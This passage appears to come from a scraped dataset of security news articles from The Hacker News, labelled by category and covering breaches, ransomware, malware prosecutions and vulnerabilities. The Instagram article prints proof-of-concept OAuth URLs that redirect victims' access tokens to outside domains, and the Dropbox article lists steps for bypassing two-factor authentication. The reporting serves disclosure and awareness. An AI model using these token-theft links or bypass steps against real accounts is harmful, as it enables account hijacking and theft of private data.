You can quickly search & monitor for hits from the bad actors against the log data in real time and identify common indicators of compromise.

You can automatically respond with actions like blocking known bad IP addresses, in case of malicious attack attempts.

Watch how threat intelligence works in a SIEM and download your free trial of a leading SIEM from SolarWinds.

",Malware
Hacking Instagram Accounts using OAuth vulnerability,https://thehackernews.com/2013/05/hacking-instagram-accounts-using-oauth.html,"Nir Goldshlager' known as Facebook hacker and founder of Break Security , who reported many critical bugs in Facebook OAuth mechanism in past few months, today disclose a critical vulnerability in Instagram Oauth that allow an attacker to hack any account.

Succesful hack allows attacker to access private photos, ability to delete victim's photos and to edit comments and also the ability to post new photos.

Hacker explained that there are two ways to hack Instagram accounts using OAuth, first via Hijack Instagram accounts using the Instagram OAuth or Hijack Instagram accounts using the Facebook OAuth Dialog.


During his bug hunting Nir found loopholes in Instagram's security parameters i.e redirect_uri , that allows attacker to pass the access token to his own domain with mx as suffix i.e code straight to breaksec.com.mx.

POC : https://instagram.com/oauth/authorize/?client_id=33221863eec546659f2564dd71a8a38d&redirect_uri=https://breaksec.com.mx&response_type=token


In Second method, hacker Hijacks the Instagram accounts using the Facebook OAuth Dialog. ""When a user wants to upload their Instagram photos to Facebook, they allow this interaction and integration to take place. I discovered that an attacker can use virtually any domain in the redirect_uri, next parameter.""

Here attacker can use any domain in redirect_uri, next parameter via the redirect_uri in Instagram client_id to steal the access_token of victim's account.

POC: https://www.facebook.com/connect/uiserver.php?app_id=124024574287414&next=https://files.nirgoldshlager.com&display=page&fbconnect=1&method=permissions.request&response_type=token



Old Finding by Nir:
Hacking Facebook users just from chat box using multiple vulnerabilities
Facebook OAuth flaw allows gaining full control over any Facebook account
Facebook hacking accounts using another OAuth vulnerability
URL Redirection flaw in Facebook apps push OAuth vulnerability again in action

",Vulnerability
Hillary Clinton's Presidential Campaign also Hacked in Attack on Democratic Party,https://thehackernews.com/2016/07/hillary-clinton-hacked.html,"There's a lot more to come from the DNC Hack.

The Associated Press confirmed yesterday that the computer systems used by Hillary Clinton's presidential campaign were hacked as part of the recent Democratic National Convention (DNC) hack.

Last week's email dump containing almost 20,000 emails from top DNC officials was just the beginning, which led DNC Chairwoman Debbie Wasserman Schultz to resign as the group's leader, as WikiLeaks announced that it was part one of its new Hillary Leaks series.

This suggests WikiLeaks Founder Julian Assange has had his hands on more data from the DNC hack that, according to him, could eventually result in the arrest of Hillary Clinton.

Assange — Wikileaks' Next Leak will lead to Arrest of Hillary Clinton

In an interview with Robert Preston of ITV last month, Assange made it clear that he hopes to harm Hillary Clinton's chances from becoming president of the United States, opposing her candidacy on both policies as well as personal grounds.

Assange also stressed that he had ""a lot more material"" about Clinton's presidential campaign that could possibly provide enough evidence for the indictment of Hillary Clinton.

Now, when it has been reported that the computer systems used by Clinton's presidential campaign were breached as part of the DNC hack, one could guess this could be the next release in the Hillary Leaks series by Assange.

According to federal law enforcement officials and some cybersecurity experts, the DNC hack is believed to be an attempt by the Russian intelligence services to influence the presidential election.

U.S. intelligence agencies have reportedly concluded that the Russian government was behind the theft of the DNC emails and documents. Although, it's unclear whether the attack was fairly routine espionage or an effort to manipulate the presidential election.

DNC Hack Malware Based Upon Chinese Open-Source Tool

Even, security firm CrowdStrike, who first investigated the DNC hack, said that the group that hacked into the DNC servers in April 2016 was engaged in extensive political and economic espionage to benefit Russian government and closely linked to the Russia's powerful and highly capable intelligence services.

According to the firm, the Fancy Bear APT (also known as APT28 and Pawn Storm) used a piece of malware called X-Tunnel to steal data from the system without getting detected.

Most recently, security firm Invincea also released its own report, saying X-Tunnel was used to steal the data from the DNC servers, but since the malware appeared to be a repurposed open source tool from a Chinese company, the firm did not support or refute ""the Russian origins of the XTunnel binary.""
The F.B.I. said in a statement that it ""is aware of media reporting on cyber intrusions involving multiple political entities, and is working to determine the accuracy, nature, and scope of these matters.""

Democratic Party Hack Influences the Presidential Election

We still have to accept the fact that someone is attacking America's computer systems in an attempt to influence the presidential election.

So this kind of politically motivated attack can become even worse in November — at the time of voting.

Security expert Bruce Schneier stressed that since Clinton's computer systems can be targeted as part of DNC attack, it is possible that America's election systems and voting machines could also be vulnerable to a similar attack.
""We need to secure our election systems before autumn,"" says Schneier via the Washington Post. ""If Putin's government has already used a cyber attack to attempt to help Trump win, there's no reason to believe he won't do it again — especially now that Trump is inviting the ""help.""""
Since more and more states have moved to electronic voting machines and Internet voting over the past years, it has made a way for hackers to manipulate these systems.

Schneier suggests the government to ""create tiger teams to test the machines' and systems' resistance to attack, drastically increase their cyber-defenses"" and if can not guarantee their security online, take them offline.

",Data_Breaches
Israeli Power Grid Authority Suffers Massive Cyber Attack,https://thehackernews.com/2016/01/power-grid-cyberattack.html,"The country which built a Digital Iron Dome, Israel had undergone one of the largest serious cyber attack this year.

This time, the name of Israel is being popped up in the current headlines is for the massive cyber attack which triggered against the Nation's Electrical Power Grid Authority's Network.

""Yesterday we identified one of the largest cyber attacks that we have experienced,"" Energy Minister Yuval Steinitz confirmed at the CyberTech 2016 Conference at the Tel Aviv Trade Fair and Convention Center on Tuesday, according to an article published by The Times of Israel.
""The virus was already identified and the right software was already prepared to neutralize it,"" Steinitz added. ""We'd to paralyze many of the computers of the Israeli Electricity Authority. We are handling the situation and I hope that soon, this very serious event will be over...but as of now, computer systems are still not working as they should.""
Severe Cyber Attack on Israel Electricity Infrastructure

The 'severe' attack occurred earliest this week, as Israel is currently undergoing record-breaking electricity consumption for last two days with a demand of 12,610 Megawatts due to the freezing temperature, confirmed by Israel Electric Corporation.

However, the officials did not comment upon the perpetrators as they do not suspect any currently, but they did tell Israeli newspaper Haaretz that '[they] are going to solve this problem in the coming hours.'

In Mid-July 2015, the Israel's National Cyber Bureau had already warned about the computer-based hacking attacks, which shut down portions of the country's electricity grid.

The identity of the suspects behind this attack has not been known, neither the energy ministry provides any details about how the attack was carried out.

However, a spokesperson for Israel's Electricity Authority confirmed some of its computer systems had been shut down for two days due to the cyber attack.

Previous Known Cyber Attacks on SCADA Systems

Israel had been the continual victim for many of the cyber attacks previously like OpIsrael (a coordinated attack by anti-Israeli Groups & Palestinians), which was conducted on 7th April 2013, on the eve of Holocaust Remembrance Day with the goal of ""Erase Israel from Internet.""

Another attack on the Israeli Civilian communication was carried out by Iran & Hezbollah Group last year.

In response to these attacks, Israel had broadened their skills to combat cyber war and become a center for cybersecurity, R&D Labs with multinationals from the US, Europe, and Asia. Israeli Cyber Security firms claimed to export $3 Billion last year.

A similar incident of power outbreak took place a couple of months back in Ukraine on 23rd December, when the country's SCADA system was hit with a trojan named BlackEnergy that resulted in the total power cut across the region named Ivano-Frankivsk of Ukraine.

This Article has been written by our editorial intern. Special Thanks to Rakesh Krishnan for covering this article.

",Vulnerability
McAfee will prevent vehicles from becoming vulnerable to Car Virus,https://thehackernews.com/2012/08/mcafee-will-prevent-vehicles-from.html,"Vehicles are becoming more and more reliant on computers for efficiency, safety systems, and infotainment systems. Most vehicles on the market today use throttle-by-wire systems, where the onboard computer controls the throttle of the vehicle. Toyota has had problems in the past with so-called unintended acceleration, with many pointing fingers at the electronic systems in the car.

Intel's McAfee unit, which is best known for software that fights PC viruses, is one of a handful of firms that are looking to protect the dozens of tiny computers and electronic communications systems that are built into every modern car. McAfee, makers of the popular anti-virus software, are just one of the teams looking to protect automobiles from many bugs and viruses which could wreak havoc on the tiny computers inside modern cars.

""You can definitely kill people"", said John Bumgarner, chief technology officer of the U.S. Cyber Consequences Unit, a non-profit organization that helps companies analyze the potential for targeted computer attacks on their networks and products. ""Ford is taking the threat very seriously and investing in security solutions that are built into the product from the outset,"" he said.

To date, however, there have been no severe attacks on vehicles through viruses.But Studies have already proven that it is technically possible to hack into a car's on-board warning systems and alter its tire pressure, as well as prevent it from using its brakes.

",Vulnerability
Citrix Data Breach – Iranian Hackers Stole 6TB of Sensitive Data,https://thehackernews.com/2019/03/citrix-data-breach.html,"Popular enterprise software company Citrix that provides services to the U.S. military, the FBI, many U.S. corporations, and various U.S. government agencies disclosed last weekend a massive data breach of its internal network by ""international cyber criminals.""

Citrix said it was warned by the FBI on Wednesday of foreign hackers compromising its IT systems and stealing ""business documents,"" adding that the company does not know precisely which documents the hackers obtained nor how they got in.

However, the FBI believes that the miscreants likely used a ""password spraying"" attack where the attackers guessed weak passwords to gain an early foothold in the company's network in order to launch more extensive attacks.

""While not confirmed, the FBI has advised that the hackers likely used a tactic known as password spraying, a technique that exploits weak passwords. Once they gained a foothold with limited access, they worked to circumvent additional layers of security,"" Citrix said in a blog post.

Although Citrix did not disclose many details about the breach, researchers at infosec firm Resecurity shed more light on the incident, claiming it had earlier alerted the Feds and Citrix about the ""targeted attack and data breach.""

Resecurity said the Iranian-backed IRIDIUM hacker group hit Citrix in December last year and again on Monday (March 4th) and stole at least 6 terabytes of sensitive internal files, including emails, blueprints, and other documents.

IRIDIUM is an Iranian-linked hacking group that was also behind recent cyber attacks against more than 200 government agencies worldwide, oil and gas companies, technology companies and other targets.

IRIDIUM proprietary techniques include bypassing multi-factor authentications for critical applications and services for further unauthorized access to VPN channels and SSO (Single Sign-On).

The massive data breach at Citrix has been identified as a part of ""a sophisticated cyber espionage campaign supported by nation-state due to strong targeting on government, military-industrial complex, energy companies, financial institutions and large enterprises involved in critical areas of the economy,"" Resecurity said in a blog post.

""Based our recent analysis, the threat actors leveraged a combination of tools, techniques and procedures (TTPs) allowing them to conduct targeted network intrusion to access at least 6 terabytes of sensitive data stored in the Citrix enterprise network, including e-mail correspondence, files in network shares and other services used for project management and procurement.""

Resecurity President Charles Yoo told NBC news that IRIDIUM broke its way into Citrix's internal network about 10 years ago, and has been lurking inside the company's system ever since.

The Florida-based company stressed that there was no sign that the hackers compromised any Citrix product or service, and that it launched a ""forensic investigation,"" hired a top cybersecurity company, and took ""actions"" to secure its internal network.

Like the OPM breach, the consequences of the Citrix security incident could affect a broader range of targets, as the company holds sensitive data on other companies, including critical infrastructure, government and Enterprises.

",Data_Breaches
Botnet Sending 5 Million Emails Per Hour to Spread Jaff Ransomware,https://thehackernews.com/2017/05/decrypt-jaff-ransomware-files.html,"A massive malicious email campaign that stems from the Necurs botnet is spreading a new ransomware at the rate of 5 million emails per hour and hitting computers across the globe.

Dubbed ""Jaff,"" the new file-encrypting ransomware is very similar to the infamous Locky ransomware in many ways, but it is demanding 1.79 Bitcoins (approx $3,150), which much higher than Locky, to unlock the encrypted files on an infected computer.

According to security researchers at Forcepoint Security Lab, Jaff ransomware, written in C programming language, is being distributed with the help of Necurs botnet that currently controls over 6 million infected computers worldwide.

Necurs botnet is sending emails to millions of users with an attached PDF document, which if clicked, opens up an embedded Word document with a malicious macro script to downloads and execute the Jaff ransomware, Malwarebytes says.

Jaff is Spreading at the Rate of 5 Million per Hour
The malicious email campaign started on Thursday morning at 9 am and had peaked by 1 pm, and its system recorded and blocked more than 13 million emails during that period – that's 5 Million emails per an hour.
""Jaff targets 423 file extensions. It is capable of offline encryption without dependency on a command and control server. Once a file is encrypted, the '.jaff' file extension is appended,"" Forcepoint says.
The ransomware then drops a ransom note in every affected folder while the desktop background of the infected computer is also replaced.

The ransom note tells victims that their files are encrypted, but doesn't ask them for any payments; instead, it urges victims to visit a payment portal located on a Tor site, which is accessible via Tor Browser, in order to get decrypt their important files.

Once victims install Tor Browser and visit the secret site, there they are then asked for an astounding 1.79 BTC (about $3,150).
Separate research conducted by Proofpoint researchers indicated that the Jaff ransomware could be the work of the same cybercriminal gang behind Locky, Dridex, and Bart.

The security company said that the Raff ransomware campaign had affected users globally with primarily victim organizations in the United Kingdom and the United States, as well as Ireland, Belgium, Italy, Germany, the Netherlands, France, Mexico and Australia.

Massive Ransomware Attack Uses NSA's Windows Exploit

In separate news, another massive fast-spreading ransomware campaign is targeting computers at Hospitals, Banks, Telecom and Organisations across the globe today.

The ransomware, known as WanaCypt0r or WannaCry, is using NSA's Windows exploit, EternalBlue, which was leaked by Shadow Brokers hacking group over a month ago.

Within just hours this cyber attack has infected more than 60,000 computers in 74 countries.

How can you Protect yourself from the Jaff Ransomware?

To safeguard against such ransomware infection, you should always be suspicious of uninvited documents sent an email and should never click on links inside those documents unless verifying the source.

Check if macros are disabled in your Microsoft Office applications. If not, block macros from running in Office files from the Internet. In enterprises, your system admin can set the default setting for macros.

To always have a tight grip on all your important files and documents, keep a good backup routine in place that makes their copies to an external storage device that is not always connected to your PC.

Moreover, make sure that you run an active anti-virus security suite of tools on your system, and most importantly, always browse the Internet safely.

",Malware
Microsoft Patch Tuesday to fix critical IE8 zero-day flaw,https://thehackernews.com/2013/05/microsoft-patch-tuesday-to-fix-critical.html,"This coming Tuesday, Microsoft will issue fixes for 33 vulnerabilities in total, including two critical zero-day flaws relating to Internet Explorer recently discovered that has been used to attack several high-profile targets.

Internet Explorer 6, 7, 8, 9 and 10 are the recipients of a patch that can prevent an exploit that enables remote code execution in the browser. This affects all Windows operating systems except XP.

The vulnerability (CVE-2013-1347) had previously been addressed in a workaround yesterday, but given the way it was being exploited with attacks reported on the US Department of Labor and European aerospace and nuclear researchers the patch has been prioritised.

A second bulletin deals with another IE vulnerability believed to be one disclosed in March at the annual Pwn2Own hacking competition. At least four of the patches require a restart, Microsoft said.

The remaining eight patches will address flaws that range from denial-of-service errors that can cause Windows to crash, to remote code execution issues in Microsoft Office and Lync.

Also An elevation of privileges that would allow an attacker to gain additional rights to the affected system, and information disclosure issues relating to Windows Essentials 2011 and 2012 will be addressed.

The security fixes will be released on May 14 through the usual update channels, such as Windows and Microsoft Update.

",Vulnerability
Hacker Who Never Hacked Anyone Gets 33-Month Prison Sentence,https://thehackernews.com/2018/02/malware-author-jailed.html,"A hacker who was arrested and pleaded guilty last year—not because he hacked someone, but for creating and selling a remote access trojan that helped cyber criminals—has finally been sentenced to serve almost three years in prison.

Taylor Huddleston, 26, of Hot Springs, Arkansas, pleaded guilty in July 2017 to one charge of aiding and abetting computer intrusions by building and intentionally selling a remote access trojan (RAT), called NanoCore, to hackers for $25.

Huddleston was arrested in March, almost two months before the FBI raided his house in Hot Springs, Arkansas and left with his computers after 90 minutes, only to return eight weeks later with handcuffs.

This case is a rare example of the US Department of Justice (DOJ) charging someone not for actively using malware to hack victims' computers, but for developing and selling it to other cybercriminals.

Huddleston admitted to the court that he created his software knowing it would be used by other cybercriminals to break the law.

He initially started developing NanoCore in late 2012 with a motive to offer a low-budget remote management software for schools, IT-conscious businesses, and parents who desired to monitor their children's activities on the web.
However, Huddleston marketed and sold the NanoCore RAT for $25 in underground hacking forums that were extremely popular with cybercriminals around the world from January 2014 to February 2016. He then sold ownership of NanoCore to a third-party in 2016.

NanoCore RAT happens to be popular among cybercriminals on underground hacking forums and has been linked to intrusions in at least ten countries. Among the victims was a high-profile assault on Middle Eastern energy firms in 2015.

Huddleston also agreed with prosecutors that NanoCore RAT and available third-party plugins offered a full set of features including:
Stealing sensitive information from victim computers, such as passwords, emails, and instant messages.
Remotely activating and controlling connected webcams on the victims' computers in order to spy on them.
Ability to view, delete, and download files.
Locking infected PCs and holding them to ransom.
Using infected PCs to launch distributed denial of service (DDoS) attacks on websites and similar services.

In July plea, Huddleston also took responsibility for creating and operating a software licensing system called ""Net Seal"" that was used by another suspect, Zachary Shames, to sell thousands of copies of Limitless keylogger.

Shames used Net Seal to infect 3,000 people that were, in turn, used it to infect 16,000 computers, according to the DoJ.

In his guilty plea, Huddleston admitted that he intended his products to be used maliciously.

Besides the 33-month prison sentence handed down by judges on Friday, Huddleston also gets two years of supervised release.

",Malware
Valve's Steam Server Bugs Could've Let Hackers Hijack Online Games,https://thehackernews.com/2020/12/valves-steam-server-bugs-couldve-let.html,"Critical flaws in a core networking library powering Valve's online gaming functionality could have allowed malicious actors to remotely crash games and even take control over affected third-party game servers.
""An attacker could remotely crash an opponent's game client to force a win or even perform a 'nuclear rage quit' and crash the Valve game server to end the game completely,"" Check Point Research's Eyal Itkin noted in an analysis published today. ""Potentially even more damaging, attackers could remotely take over third-party developer game servers to execute arbitrary code.""
Valve is a popular US-based video game developer and publisher behind the game software distribution platform Steam and several titles such as Half-Life, Counter-Strike, Portal, Day of Defeat, Team Fortress, Left 4 Dead, and Dota.
The four flaws (CVE-2020-6016 through CVE-2020-6019) were uncovered in Valve's Game Networking Sockets (GNS) or Steam Sockets library, an open-sourced networking library that provides a ""basic transport layer for games,"" enabling a mix of UDP and TCP features with support for encryption, greater reliability, and peer-to-peer (P2P) communications.
Steam Sockets is also offered as part of the Steamworks SDK for third-party game developers, with the vulnerabilities found on both Steam servers and on its clients installed on gamers' systems.
The attack hinges on a specific flaw in the packet reassembly mechanism (CVE-2020-6016) and a quirk in C++'s implementation of iterators to send a bunch of malicious packets to a target game server and trigger a heap-based buffer underflow, ultimately causing the server to abort or crash.
Following responsible disclosure to Valve on September 2, 2020, the binary updates containing the fixes were shipped to Valve's game clients and servers on September 17.
But according to Check Point, certain third-party game developers are yet to patch their clients as of December 2.
""Video games have reached an all-time-high during the coronavirus pandemic,"" Itkin said. ""With millions of people currently playing online games, even the slightest security issue can be a serious concern for gaming companies and gamers' privacy. Through the vulnerabilities we found, an attacker could have taken over hundreds of thousands of gamer computers every day, with the victims being completely blind to it.""
""Popular online platforms are good harvesting grounds for attackers. Whenever you have millions of users logging into the same place, the power of a strong and reliable exploit raises exponentially.""
Check Point said that gamers playing Valve's games through Steam are already protected by the fix, although gamers of third-party games should ensure their game clients received an update in recent months to mitigate the risk associated with the flaw.

",Vulnerability
Warning! Don't Click that Google Docs Link You Just Received in Your Email,https://thehackernews.com/2017/05/google-docs-phishing-email.html,"Did someone just share a random Google Doc with you?

First of all — Do not click on that Google Doc link you might have just received in your email and delete it immediately — even if it's from someone you know.

I, my colleagues at The Hacker News, and even people all around the Internet, especially journalists, are receiving a very convincing OAuth phishing email, which says that the person [sender] ""has shared a document on Google Docs with you.""

Once you clicked the link, you will be redirected to a page which says, ""Google Docs would like to read, send and delete emails, as well access to your contacts,"" asking your permission to ""allow"" access.

If you allow the access, the hackers would immediately get permission to manage your Gmail account with access to all your emails and contacts, without requiring your Gmail password.
Beware! New GoogleDocs Phishing Email Scam Spreading Across the World — Here's Everything You Need to Know
CLICK TO TWEET
But How? The ""Google Docs"" app that requests permissions to access your account is fake and malicious, which is created and controlled by the attacker.

You should know that the real Google Docs invitation links do not require your permission to access your Gmail account.

Anything Linked to Compromised Gmail Accounts is at Risk

Once the app controlled by the attacker receives permissions to manage your email, it automatically sends same Google Docs phishing email to everyone on your contact list on your behalf.

Since your personal and business email accounts are commonly being used as the recovery email for many online accounts, there are possibilities that hackers could potentially get control over those online accounts, including Apple, Facebook, and Twitter.

In short, anything linked to a compromised Gmail account is potentially at risk and even if you enabled two factor authentication, it would not prevent hackers to access your data.

Meanwhile, Google has also started blacklisting malicious apps being used in the active phishing campaign.
""We are investigating a phishing email that appears as Google Docs. We encourage you to not click through & report as phishing within Gmail,"" Google tweeted.
This Google Docs phishing scheme is spreading incredibly quickly, hitting employees at multiple organizations and media outlets that use Google for email, as well as thousands of individual Gmail users who are reporting the same scam at the same time.

If by anyhow you have clicked on the phishing link and granted permissions, you can remove permissions for the fraudulent ""Google Docs"" app from your Google account. Here's how you can remove permissions:

Go to your Gmail accounts permissions settings at https://myaccount.google.com and Sign-in.
Go to Security and Connected Apps.
Search for ""Google Docs"" from the list of connected apps and Remove it. It's not the real Google Docs.
Stay tuned to our Facebook Page for more updates ! Stay Safe!

Update: Google Docs Phishing Scam Hits Nearly One Million Users
Google said that the last night's Google Docs phishing campaign affected ""fewer than 0.1%"" of Gmail users, which means nearly one million people were affected by it, handing over their email access to attackers.

",Cyber_Attack
U.S. Recovers $2.3 Million Ransom Paid to Colonial Pipeline Hackers,https://thehackernews.com/2021/06/us-recovers-23-million-ransom-paid-to.html,"In a major blow, the U.S. Department of Justice on Monday said it has recovered 63.7 bitcoins (currently valued at $2.3 million) paid by Colonial Pipeline to the DarkSide ransomware extortionists on May 8, pursuant to a seizure warrant that was authorized by the Northern District of California.
The ransomware attack also hobbled the pipeline company's fuel supply, prompting the government to issue an emergency declaration, even as the company shelled out a ransom amount of approximately 75 bitcoins ($4.4 million as of May 8) to regain access to its systems.
A week after the highly publicized incident, the ransomware-as-a-service syndicate disbanded with a May 14 farewell message to affiliates, stating that its internet servers and cryptocurrency stash were seized by unknown law enforcement entities. While DarkSide's announcement was perceived as an exit scam, the latest move from DoJ confirms earlier speculations of law enforcement involvement.
Stating that ""ransom payments are the fuel that propels the digital extortion engine,"" the DoJ said it followed the money trails left by the DarkSide gang to a specific bitcoin address by reviewing the Bitcoin public ledger, to which the proceeds of the ransom payment were transferred, ultimately using the ""private key"" the FBI had in its possession to access crypto assets stored in the wallet in question.
""There is no place beyond the reach of the FBI to conceal illicit funds that will prevent us from imposing risk and consequences upon malicious cyber actors,"" said FBI Deputy Director Paul Abbate. ""We will continue to use all of our available resources and leverage our domestic and international partnerships to disrupt ransomware attacks and protect our private sector partners and the American public.""
It's not immediately clear how the intelligence agency came to have the private key, but DarkSide had previously claimed to have lost access to one of their payment servers.
Blockchain analytics firm Elliptic, which had identified the bitcoin transaction representing the Colonial Pipeline ransom payment, said the seized bitcoins represent 85% of the total ransom amount which is typically reserved for affiliates, with the rest going to the DarkSide developers. The Bitcoin address was emptied at around 1:40 p.m. ET on Monday, Dr. Tom Robinson, Elliptic's co-founder and chief scientist, said.
If anything, the seizure marks a first-of-its-kind orchestrated effort led by the DoJ's newly formed Ransomware and Digital Extortion Task Force to confiscate a cybercriminal cartel's illicit profits by breaking into its bitcoin wallet using its private key likely stored in the seized servers, as implied in the warrant.
""Holding cyber criminals accountable and disrupting the ecosystem that allows them to operate is the best way to deter and defend against future attacks of this nature,"" Colonial Pipeline CEO Joseph Blount said in the statement. ""The private sector also has an equally important role to play and we must continue to take cyber threats seriously and invest accordingly to harden our defenses.""

",Malware
QakBot Banking Trojan Returned With New Sneaky Tricks to Steal Your Money,https://thehackernews.com/2020/08/qakbot-banking-trojan.html,"A notorious banking trojan aimed at stealing bank account credentials and other financial information has now come back with new tricks up its sleeve to target government, military, and manufacturing sectors in the US and Europe, according to new research.

In an analysis released by Check Point Research today, the latest wave of Qbot activity appears to have dovetailed with the return of Emotet — another email-based malware behind several botnet-driven spam campaigns and ransomware attacks — last month, with the new sample capable of covertly gathering all email threads from a victim's Outlook client and using them for later malspam campaigns.

""These days Qbot is much more dangerous than it was previously — it has an active malspam campaign which infects organizations, and it manages to use a 'third-party' infection infrastructure like Emotet's to spread the threat even further,"" the cybersecurity firm said.

Using Hijacked Email Threads as Lures

First documented in 2008, Qbot (aka QuakBot, QakBot, or Pinkslipbot) has evolved over the years from an information stealer to a ""Swiss Army knife"" adept in delivering other kinds of malware, including Prolock ransomware, and even remotely connect to a target's Windows system to carry out banking transactions from the victim's IP address.

Attackers usually infect victims using phishing techniques to lure victims to websites that use exploits to inject Qbot via a dropper.


A malspam offensive observed by F5 Labs in June found the malware to be equipped with detection and research-evasion techniques with the goal of evading forensic examination. Then last week, Morphisec unpacked a Qbot sample that came with two new methods designed to bypass Content Disarm and Reconstruction (CDR) and Endpoint Detection and Response (EDR) systems.

The infection chain detailed by Check Point follows a similar pattern.

The first step begins with a specially crafted phishing email containing an attached ZIP file or a link to a ZIP file that includes a malicious Visual Basic Script (VBS), which then proceeds to download additional payloads responsible for maintaining a proper communication channel with an attacker-controlled server and executing the commands received.

Notably, the phishing emails sent to the targeted organizations, which take the form of COVID-19 lures, tax payment reminders, and job recruitments, not only includes the malicious content but is also inserted with archived email threads between the two parties to lend an air of credibility.


To achieve this, the conversations are gathered beforehand using an email collector module that extracts all email threads from the victim's Outlook client and uploads them to a hardcoded remote server.

Aside from packing components for grabbing passwords, browser cookies, and injecting JavaScript code on banking websites, the Qbot operators released as many as 15 versions of the malware since the start of the year, with the last known version released on August 7.

What's more, Qbot comes with an hVNC Plugin that makes it possible to control the victim machine through a remote VNC connection.

""An external operator can perform bank transactions without the user's knowledge, even while he is logged into his computer,"" Check Point noted. ""The module shares a high percentage of code with similar modules like TrickBot's hVNC.""

From an Infected Machine to a Control Server

That's not all. Qbot is also equipped with a separate mechanism to recruit the compromised machines into a botnet by making use of a proxy module that allows the infected machine to be used as a control server.

With Qbot hijacking legitimate email threads to spread the malware, it's essential that users monitor their emails for phishing attacks, even in cases they appear to come from a trusted source.

""Our research shows how even older forms of malware can be updated with new features to make them a dangerous and persistent threat,"" Check Point Research's Yaniv Balmas said. ""The threat actors behind Qbot are investing heavily in its development to enable data theft on a massive scale from organizations and individuals.""

""We have seen active malspam campaigns distributing Qbot directly, as well as the use of third-party infection infrastructures like Emotet's to spread the threat even further,"" Balmas added.

",Cyber_Attack
"BTC-e Operator, Accused of Laundering $4 Billion, to be Extradited to France",https://thehackernews.com/2018/07/alexander-vinnik-btc.html,"In a legal extradition tug-of-war between the United States and Russia, it seems France has won the game, surprisingly.

A Greek court has ruled to extradite the Russian cybercrime suspect and the former operator of now-defunct BTC-e crypto exchange to France, instead of the United States or to his native Russia, according to multiple Russian news outlets.

Alexander Vinnik, 38, has been accused of laundering more than $4 billion in bitcoin for criminals involved in hacking attacks, tax fraud and drug trafficking with the help of BTC-e crypto exchange.

BTC-e, a digital currency exchange service operating since 2011, was seized by the authorities right after Vinnik's arrest in northern Greece in late July 2016 at the request of US law enforcement authorities.

Vinnik is also accused to the failure of the once-most famous Japanese bitcoin exchange Mt. Gox, which was shut down in 2014 following a series of mysterious robberies, which totaled at least $375 million in Bitcoin.

The U.S. authorities believe Vinnik ""obtained"" funds from the hacker or insider who stole bitcoins from Mt. Gox and sent them to a bitcoin wallet controlled by him and intentionally laundered the money through BTC-e over a period of three years.

The Greek Supreme Court earlier approved Vinnik's extradition to the U.S. to stand trial on the charges with the operation of an unlicensed money service business, money laundering, conspiracy to commit money laundering, and engaging in unlawful monetary transactions.

However, a Greek lower court in the northern city of Thessaloniki agreed Monday to extradite Vinnik to France, where he is facing charges for defrauding thousands of people worldwide, including about 100 French nationals, through his bitcoin platform and laundered 133 million euros using 20,643 bitcoins.

Russia is also seeking Vinnik to face $11,000 worth of fraud charges, very low as compared to accusations made by other countries, although a hearing date for the Russian extradition request has not yet been set.

However, Vinnik, who is in Greece jail, being insolent denying all the charges made by the United States, Russia, or France.

The Russian Foreign Ministry has criticized the Greece extradition decision in a statement, saying:
""Yielding to external pressure, the Greek authorities continue to complicate relations with Russia. Several days after taking an unfriendly decision to expel Russian diplomats and to deny entry to several Russian citizens, they have adopted a decision to extradite Russian citizen Alexander Vinnik to France. It is obvious that Russia cannot leave these actions unanswered.""
However, reportedly Greece's justice minister can still overturn the court ruling and decide where Vinnik ends up—the United States, Russia or France.

Vinnik's Greek lawyer Ilias Spyrliadis told Russian news agency TASS that he is planning to appeal against the court's decision in the Greek Supreme Court.
",Cyber_Attack
Samsung printer having secret admin account Backdoor,https://thehackernews.com/2012/11/samsung-printer-having-secret-admin.html,"US CERT warn about Some Samsung printers, including models the Korean company made for Dell, have a backdoor administrator account coded into their firmware.

This hard coded admin account in firmware could enable attackers to change their configuration, read their network information or stored credentials and access sensitive information passed to them by users.
Screenshot

Even if SNMP is disabled, this ""backdoor administrator account"" is still active and could be used by an attacker to access the printer. SNMP is an Internet protocol commonly used to monitor and read statistics from network-attached devices.

US-CERT did not provide a list with the exact printer models affected by the issue, but said that, according to Samsung, models released after Oct. 31, 2012, are not vulnerable. As for the Dell model, Samsung builds Dell printers such as the B1160w modeled after Samsung's ML-2165W compact all-in-one printer. It's unclear what other Dell branded printers may be affected.

",Vulnerability
Kaseya Issues Patches for Two New 0-Day Flaws Affecting Unitrends Servers,https://thehackernews.com/2021/08/kaseya-issues-patches-for-two-new-0-day.html,"U.S. technology firm Kaseya has released security patches to address two zero-day vulnerabilities affecting its Unitrends enterprise backup and continuity solution that could result in privilege escalation and authenticated remote code execution.
The two weaknesses are part of a trio of vulnerabilities discovered and reported by researchers at the Dutch Institute for Vulnerability Disclosure (DIVD) on July 3, 2021.
The IT infrastructure management solution provider has addressed the issues in server software version 10.5.5-2 released on August 12, DIVD said. An as-yet-undisclosed client-side vulnerability in Kaseya Unitrends remains unpatched, but the company has published firewall rules that can be applied to filter traffic to and from the client and mitigate any risk associated with the flaw. As an additional precaution, it's recommended not to leave the servers accessible over the internet.
Although specifics related to the vulnerabilities are sparse, the shortcomings concern an authenticated remote code execution vulnerability as well as a privilege escalation flaw from read-only user to admin on Unitrends servers, both of which hinge on the possibility that an attacker has already gained an initial foothold on a target's network, making them more difficult to exploit.
The disclosure comes close to two months after the company suffered a crippling ransomware strike on its VSA on-premises product, leading to the mysterious shutdown of REvil cybercrime syndicate in the following weeks. Kaseya has since shipped fixes for the zero-days that were exploited to gain access to the on-premise servers, and late last month, said it obtained a universal decryptor ""to remediate customers impacted by the incident.""

",Vulnerability
"Hacking DropBox account, Vulnerability allows hacker to bypass Two-Factor Authentication",https://thehackernews.com/2013/07/hacking-dropbox-account-vulnerability.html,"Q-CERT team found a critical vulnerability that allows the attacker to bypass the two-factor authentication in the most popular file sharing service 'DropBox'.

Two Factor Authentication is an extra layer of security that is known as ""multi factor authentication"" that requires not only a password and username but also a unique code that only user can get via SMS or Call.
Zouheir Abdallah demonstrated, if an attacker already knows the username and password of the victim's Dropbox account, which is protected by two-factor authentication, it is still possible to hack that Dropbox account using following explained technique.

DropBox does not verify the authenticity of the email addresses used to Sign up a new account, so to exploit this flaw hacker just need to create a new fake account similar to the target's account and append a dot (.) anywhere in the email address.

In Next step, enable 2-factor authentication for the fake account, and save the emergency code generated at the end of the process. This emergency code feature is provided, in case user lost his phone, then using this backup code user can disable two factor authentication from his account.

Next, logout from the the fake account created by attacker and login into the victim's account using the real credentials (attacker already have using any keylogger or phishing technique).

